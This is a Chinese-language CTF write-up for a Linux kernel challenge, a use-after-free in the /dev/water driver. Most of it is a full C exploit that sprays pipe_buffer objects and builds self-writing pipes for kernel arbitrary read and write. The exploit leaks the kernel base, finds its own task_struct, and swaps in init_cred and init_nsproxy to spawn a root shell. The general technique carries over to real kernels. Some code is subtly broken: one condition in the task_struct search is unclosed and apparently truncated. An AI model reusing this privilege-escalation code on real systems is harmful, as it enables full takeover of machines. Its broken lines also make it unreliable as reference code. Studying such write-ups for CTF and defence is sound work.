程序分析
保护当然都开了, 题目给了一次增加, 释放, 修改一字节堆块的能力, 这里释放堆块后没有将其指针置空从而导致了 UAF.
漏洞利用
这里的堆块大小为 512 字节并是 SLAB_ACCOUNT, 所以可以直接利用管道去构造自写管道从而构造任意读写系统, 详细见大佬博客:【CTF.0x08】D^ 3CTF2023 d3kcache 出题手记 - arttnba3's blog
exp 如下:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sched.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <stdint.h>
size_t kernel_base = 0xffffffff81000000, kernel_offset = 0;
size_t page_offset_base = 0xffff888000000000, vmemmap_base = 0xffffea0000000000;
size_t init_task, init_nsproxy, init_cred;
size_t direct_map_addr_to_page_addr(size_t direct_map_addr)
{
size_t page_count;
page_count = ((direct_map_addr & (~0xfff)) - page_offset_base) / 0x1000;
return vmemmap_base + page_count * 0x40;
}
void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}
void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
/* root checker and shell poper */
void get_root_shell(void)
{
if(getuid()) {
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
sleep(5);
exit(EXIT_FAILURE);
}
puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");
system("/bin/sh");
/* to exit the process normally, instead of segmentation fault */
exit(EXIT_SUCCESS);
}
/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
/* bind the process to specific core */
void bind_core(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
struct page;
struct pipe_inode_info;
struct pipe_buf_operations;
/* read start from len to offset, write start from offset */
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
struct pipe_buf_operations {
int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);
void (*release)(struct pipe_inode_info *, struct pipe_buffer *);
int (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);
int (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};
int fd;
struct argg {
char* buf;
};
void add(char* buf)
{
struct argg arg = { .buf = buf };
ioctl(fd, 0x20, &arg);
}
void dele(char* buf)
{
struct argg arg = { .buf = buf };
ioctl(fd, 0x30, &arg);
}
void edit(char* buf)
{
struct argg arg = { .buf = buf };
ioctl(fd, 0x50, &arg);
}
#define PIPE_SPRAY_NUM 200
#define SND_PIPE_BUF_SZ 96
#define TRD_PIPE_BUF_SZ 192
int orig_idx;
int victim_idx;
int pipe_fd[PIPE_SPRAY_NUM][2];
struct pipe_buffer evil_2nd_buf, evil_3rd_buf, evil_4th_buf;
int self_4th_pipe_idx = -1;
int self_2nd_pipe_idx = -1;
int self_3rd_pipe_idx = -1;
char temp_zero_buf[0x1000] = {'\0'};
void arbitrary_read_by_pipe(struct page *page_to_read, void *dst)
{
evil_2nd_buf.offset = 0;
evil_2nd_buf.len = 0x1ff8;
evil_2nd_buf.page = page_to_read;
write(pipe_fd[self_3rd_pipe_idx][1], &evil_4th_buf, sizeof(evil_4th_buf));
write(pipe_fd[self_4th_pipe_idx][1], &evil_2nd_buf, sizeof(evil_2nd_buf));
write(pipe_fd[self_4th_pipe_idx][1],
temp_zero_buf,
TRD_PIPE_BUF_SZ - sizeof(evil_2nd_buf));
write(pipe_fd[self_4th_pipe_idx][1], &evil_3rd_buf, sizeof(evil_3rd_buf));
read(pipe_fd[self_2nd_pipe_idx][0], dst, 0xfff);
}
void arbitrary_write_by_pipe(struct page *page_to_write, void *src, size_t len)
{
evil_2nd_buf.page = page_to_write;
evil_2nd_buf.offset = 0;
evil_2nd_buf.len = 0;
write(pipe_fd[self_3rd_pipe_idx][1], &evil_4th_buf, sizeof(evil_4th_buf));
write(pipe_fd[self_4th_pipe_idx][1], &evil_2nd_buf, sizeof(evil_2nd_buf));
write(pipe_fd[self_4th_pipe_idx][1],
temp_zero_buf,
TRD_PIPE_BUF_SZ - sizeof(evil_2nd_buf));
write(pipe_fd[self_4th_pipe_idx][1], &evil_3rd_buf, sizeof(evil_3rd_buf));
write(pipe_fd[self_2nd_pipe_idx][1], src, len);
}
int main(int argc, char** argv, char** envp)
{
save_status();
bind_core(0);
fd = open("/dev/water", O_RDWR);
if (fd < 0) err_exit("open /dev/water");
char * buf = malloc(0x3000);
char target[16] = { 0 };
size_t target_addr;
memset(buf, 'A', 0x1000);
strcpy(target, "XiaozaYaPwner");
if (prctl(PR_SET_NAME, target, 0, 0, 0) != 0)
{
err_exit("cannot set name");
}
add(buf);
dele(buf);
puts("[+] Spary pipe_buffer");
for (int i = 0; i < PIPE_SPRAY_NUM; i++)
{
if (pipe(pipe_fd[i]) < 0)
{
printf("[X] failed to alloc %d pipe\n", i);
err_exit("Alloc Pipe");
}
}
puts("[+] Shrink pipe_buffer to 512B");
for (int i = 0; i < PIPE_SPRAY_NUM; i++)
{
if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000 * 8) < 0)
{
printf("[X] failed to fcntl %d pipe\n", i);
err_exit("Fcntl Pipe");
}
}
puts("[+] Wirte TAG to pipe");
for (int i = 0; i < PIPE_SPRAY_NUM; i++)
{
write(pipe_fd[i][1], "XiaozaYa", 8);
write(pipe_fd[i][1], &i, sizeof(int));
write(pipe_fd[i][1], &i, sizeof(int));
write(pipe_fd[i][1], &i, sizeof(int));
write(pipe_fd[i][1], "AAAAAAAA", 8);
write(pipe_fd[i][1], "BBBBBBBB", 8);
}
buf[0] = '\x00';
edit(buf);
puts("[+] Read pipe to check victim pipe idx");
orig_idx = -1;
victim_idx = -1;
for (int i = 0; i < PIPE_SPRAY_NUM; i++)
{
char tag[0x10];
int nr;
memset(tag, 0, sizeof(tag));
read(pipe_fd[i][0], tag, 8);
read(pipe_fd[i][0], &nr, sizeof(int));
if (!strcmp(tag, "XiaozaYa") && nr != i)
{
orig_idx = nr;
victim_idx = i;
printf("\033[32m\033[1m[+] Found victim: \033[0m%d "
"\033[32m\033[1m, orig: \033[0m%d\n\n",
victim_idx, orig_idx);
//break;
}
}
if (orig_idx == -1 || victim_idx == -1)
{
err_exit("UAF ERROR");
}
int snd_orig_idx = -1;
int snd_victim_idx = -1;
struct pipe_buffer info_pipe_buf;
puts("[+] Snd pipe");
size_t snd_pipe_sz = 0x1000 * (SND_PIPE_BUF_SZ / sizeof(struct pipe_buffer));
memset(buf, 0, sizeof(buf));
write(pipe_fd[victim_idx][1], buf, SND_PIPE_BUF_SZ * 2 - 24 - 3 * sizeof(int));
puts("[+] free original pipe");
close(pipe_fd[orig_idx][0]);
close(pipe_fd[orig_idx][1]);
puts("[+] fcntl to set the pipe_buffer on victim page");
for (int i = 0; i < PIPE_SPRAY_NUM; i++)
{
if (i == orig_idx || i == victim_idx)
{
continue;
}
if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, snd_pipe_sz) < 0)
{
printf("[X] failed to fcntl %d pipe at snd pipe\n", i);
err_exit("Fcntl Pipe");
}
}
read(pipe_fd[victim_idx][0], buf, SND_PIPE_BUF_SZ - 8 - sizeof(int));
read(pipe_fd[victim_idx][0], &info_pipe_buf, sizeof(info_pipe_buf));
printf("\033[34m\033[1m[?] info_pipe_buf->page: \033[0m%p\n"
"\033[34m\033[1m[?] info_pipe_buf->ops: \033[0m%p\n",
info_pipe_buf.page, info_pipe_buf.ops);
if ((size_t)info_pipe_buf.page < 0xffff000000000000 || (size_t)info_pipe_buf.ops < 0xffffffff81000000)
{
err_exit("FAILED to re-hit victim page!");
}
puts("\033[32m\033[1m[+] Successfully to hit the UAF page!\033[0m");
printf("\033[32m\033[1m[+] Got page leak:\033[0m %p\n", info_pipe_buf.page);
puts("[+] construct a second-level uaf pipe page");
info_pipe_buf.page = (struct page *)((size_t)info_pipe_buf.page + 0x40);
write(pipe_fd[victim_idx][1], &info_pipe_buf, sizeof(info_pipe_buf));
for (int i = 0; i < PIPE_SPRAY_NUM; i++)
{
//char tag[0x10] = { 0 };
int nr;
if (i == orig_idx || i == victim_idx)
{
continue;
}
//read(pipe_fd[i][0], tag, 8);
read(pipe_fd[i][0], &nr, sizeof(int));
// printf("idx: %#x\n", nr);
//if (!strcmp(tag, "XiaozaYa") && i != nr)
if (i < PIPE_SPRAY_NUM && i != nr)
{
snd_orig_idx = nr;
snd_victim_idx = i;
printf("\033[32m\033[1m[+] Found second-level victim: \033[0m%d "
"\033[32m\033[1m, orig: \033[0m%d\n",
snd_victim_idx, snd_orig_idx);
break;
}
}
if (snd_orig_idx == -1 || snd_victim_idx == -1)
{
err_exit("FAILED to corrupt second-level pipe_buffer!");
}
size_t trd_pipe_sz = 0x1000 * (TRD_PIPE_BUF_SZ / sizeof(struct pipe_buffer));
struct pipe_buffer evil_pipe_buf;
struct page *page_ptr;
memset(buf, 0, sizeof(buf));
write(pipe_fd[snd_victim_idx][1], buf, TRD_PIPE_BUF_SZ - 24 - 3 * sizeof(int));
puts("[*] free second-level original pipe...");
close(pipe_fd[snd_orig_idx][0]);
close(pipe_fd[snd_orig_idx][1]);
puts("[*] fcntl() to set the pipe_buffer on second-level victim page...");
for (int i = 0; i < PIPE_SPRAY_NUM; i++)
{
if (i == orig_idx || i == victim_idx || i == snd_orig_idx || i == snd_victim_idx)
{
continue;
}
if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, trd_pipe_sz) < 0)
{
printf("[x] failed to resize %d pipe!\n", i);
err_exit("FAILED to re-alloc pipe_buffer!");
}
}
puts("[*] hijacking the 2nd pipe_buffer on page to itself...");
evil_pipe_buf.page = info_pipe_buf.page;
evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;
evil_pipe_buf.len = TRD_PIPE_BUF_SZ;
evil_pipe_buf.ops = info_pipe_buf.ops;
evil_pipe_buf.flags = info_pipe_buf.flags;
evil_pipe_buf.private = info_pipe_buf.private;
write(pipe_fd[snd_victim_idx][1], &evil_pipe_buf, sizeof(evil_pipe_buf));
for (int i = 0; i < PIPE_SPRAY_NUM; i++)
{
if (i == orig_idx || i == victim_idx || i == snd_orig_idx || i == snd_victim_idx)
{
continue;
}
read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr));
if (page_ptr == evil_pipe_buf.page)
{
self_2nd_pipe_idx = i;
printf("\033[32m\033[1m[+] Found self-writing pipe: \033[0m%d\n",
self_2nd_pipe_idx);
break;
}
}
if (self_2nd_pipe_idx == -1)
{
err_exit("FAILED to build a self-writing pipe!");
}
puts("[*] hijacking the 3rd pipe_buffer on page to itself...");
evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;
evil_pipe_buf.len = TRD_PIPE_BUF_SZ;
write(pipe_fd[snd_victim_idx][1], buf, TRD_PIPE_BUF_SZ - sizeof(evil_pipe_buf));
write(pipe_fd[snd_victim_idx][1], &evil_pipe_buf, sizeof(evil_pipe_buf));
for (int i = 0; i < PIPE_SPRAY_NUM; i++)
{
if (i == orig_idx || i == victim_idx || i == snd_orig_idx || i == snd_victim_idx || i == self_2nd_pipe_idx)
{
continue;
}
read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr));
if (page_ptr == evil_pipe_buf.page)
{
self_3rd_pipe_idx = i;
printf("\033[32m\033[1m[+] Found another self-writing pipe:\033[0m"
"%d\n",
self_3rd_pipe_idx);
break;
}
}
if (self_3rd_pipe_idx == -1)
{
err_exit("FAILED to build a self-writing pipe!");
}
puts("[*] hijacking the 4th pipe_buffer on page to itself...");
evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;
evil_pipe_buf.len = TRD_PIPE_BUF_SZ;
write(pipe_fd[snd_victim_idx][1], buf, TRD_PIPE_BUF_SZ - sizeof(evil_pipe_buf));
write(pipe_fd[snd_victim_idx][1], &evil_pipe_buf, sizeof(evil_pipe_buf));
for (int i = 0; i < PIPE_SPRAY_NUM; i++)
{
if (i == orig_idx || i == victim_idx || i == snd_orig_idx || i == snd_victim_idx || i == self_2nd_pipe_idx || i == self_3rd_pipe_idx)
{
continue;
}
read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr));
if (page_ptr == evil_pipe_buf.page)
{
self_4th_pipe_idx = i;
printf("\033[32m\033[1m[+] Found another self-writing pipe:\033[0m"
"%d\n",
self_4th_pipe_idx);
break;
}
}
if (self_4th_pipe_idx == -1)
{
err_exit("FAILED to build a self-writing pipe!");
}
puts("[*] Setting up kernel arbitrary read & write...");
memcpy(&evil_2nd_buf, &info_pipe_buf, sizeof(evil_2nd_buf));
memcpy(&evil_3rd_buf, &info_pipe_buf, sizeof(evil_3rd_buf));
memcpy(&evil_4th_buf, &info_pipe_buf, sizeof(evil_4th_buf));
evil_2nd_buf.offset = 0;
evil_2nd_buf.len = 0xff0;
evil_3rd_buf.offset = TRD_PIPE_BUF_SZ * 3;
evil_3rd_buf.len = 0;
write(pipe_fd[self_4th_pipe_idx][1], &evil_3rd_buf, sizeof(evil_3rd_buf));
evil_4th_buf.offset = TRD_PIPE_BUF_SZ;
evil_4th_buf.len = 0;
vmemmap_base = (size_t)info_pipe_buf.page & 0xfffffffff0000000;
for (;;)
{
arbitrary_read_by_pipe((struct page *)(vmemmap_base + 157 * 0x40), buf);
if (*(uint64_t *)buf > 0xffffffff81000000 && ((*(uint64_t *)buf & 0xfff) == 0x0e0))
{
kernel_base = *(uint64_t *)buf - 0x0e0;
kernel_offset = kernel_base - 0xffffffff81000000;
printf("\033[32m\033[1m[+] Found kernel base: \033[0m0x%lx\n"
"\033[32m\033[1m[+] Kernel offset: \033[0m0x%lx\n",
kernel_base, kernel_offset);
break;
}
vmemmap_base -= 0x10000000;
}
printf("\033[32m\033[1m[+] vmemmap_base:\033[0m 0x%lx\n\n", vmemmap_base);
uint64_t parent_task, current_task;
puts("[*] Seeking task_struct in memory...");
uint64_t *comm_addr = 0;
uint64_t *point_buf = malloc(0x1000);
for (int i = 0; 1; i++)
{
arbitrary_read_by_pipe((struct page *)(vmemmap_base + i * 0x40), point_buf);
comm_addr = memmem(point_buf, 0xf00, target, 0xd);
if (comm_addr && (comm_addr[-2] > 0xffff888000000000) && (comm_addr[-3] > 0xffff888000000000) && (comm_addr[-57] > 0xffff888000000000) && (comm_addr[-56] > 0xffff888000)
{
parent_task = comm_addr[-60];
current_task = comm_addr[-54] - 2528;
page_offset_base = (comm_addr[-54] & 0xfffffffffffff000) - i * 0x1000;
page_offset_base &= 0xfffffffff0000000;
printf("\033[32m\033[1m[+] Found task_struct on page: \033[0m%p\n",
(struct page *)(vmemmap_base + i * 0x40));
printf("\033[32m\033[1m[+] page_offset_base: \033[0m0x%lx\n",
page_offset_base);
printf("\033[34m\033[1m[*] current task_struct's addr: \033[0m"
"0x%lx\n\n",
current_task);
break;
}
}
size_t *tsk_buf;
uint64_t init_task = 0xffffffff83011200+kernel_offset;
uint64_t init_cred = 0xffffffff8308c620+kernel_offset;
uint64_t init_nsproxy = 0xffffffff8308c140+kernel_offset;
printf("\033[32m\033[1m[+] Found init_cred: \033[0m0x%lx\n", init_cred);
printf("\033[32m\033[1m[+] Found init_cred: \033[0m0x%lx\n", init_cred);
printf("\033[32m\033[1m[+] Found init_nsproxy:\033[0m0x%lx\n", init_nsproxy);
puts("[*] Escalating ROOT privilege now...");
size_t current_task_page = direct_map_addr_to_page_addr(current_task);
arbitrary_read_by_pipe((struct page *)current_task_page, buf);
arbitrary_read_by_pipe((struct page *)(current_task_page + 0x40), &buf[512 * 8]);
tsk_buf = (size_t *)((size_t)buf + (current_task & 0xfff));
tsk_buf[367] = init_cred;
tsk_buf[368] = init_cred;
tsk_buf[381] = init_nsproxy;
arbitrary_write_by_pipe((struct page *)current_task_page, buf, 0xff0);
arbitrary_write_by_pipe((struct page *)(current_task_page + 0x40),
&buf[512 * 8], 0xff0);
puts("[+] Done.\n");
puts("[*] checking for root...");
get_root_shell();
puts("[+] END!");
return 0;
}
效果如下: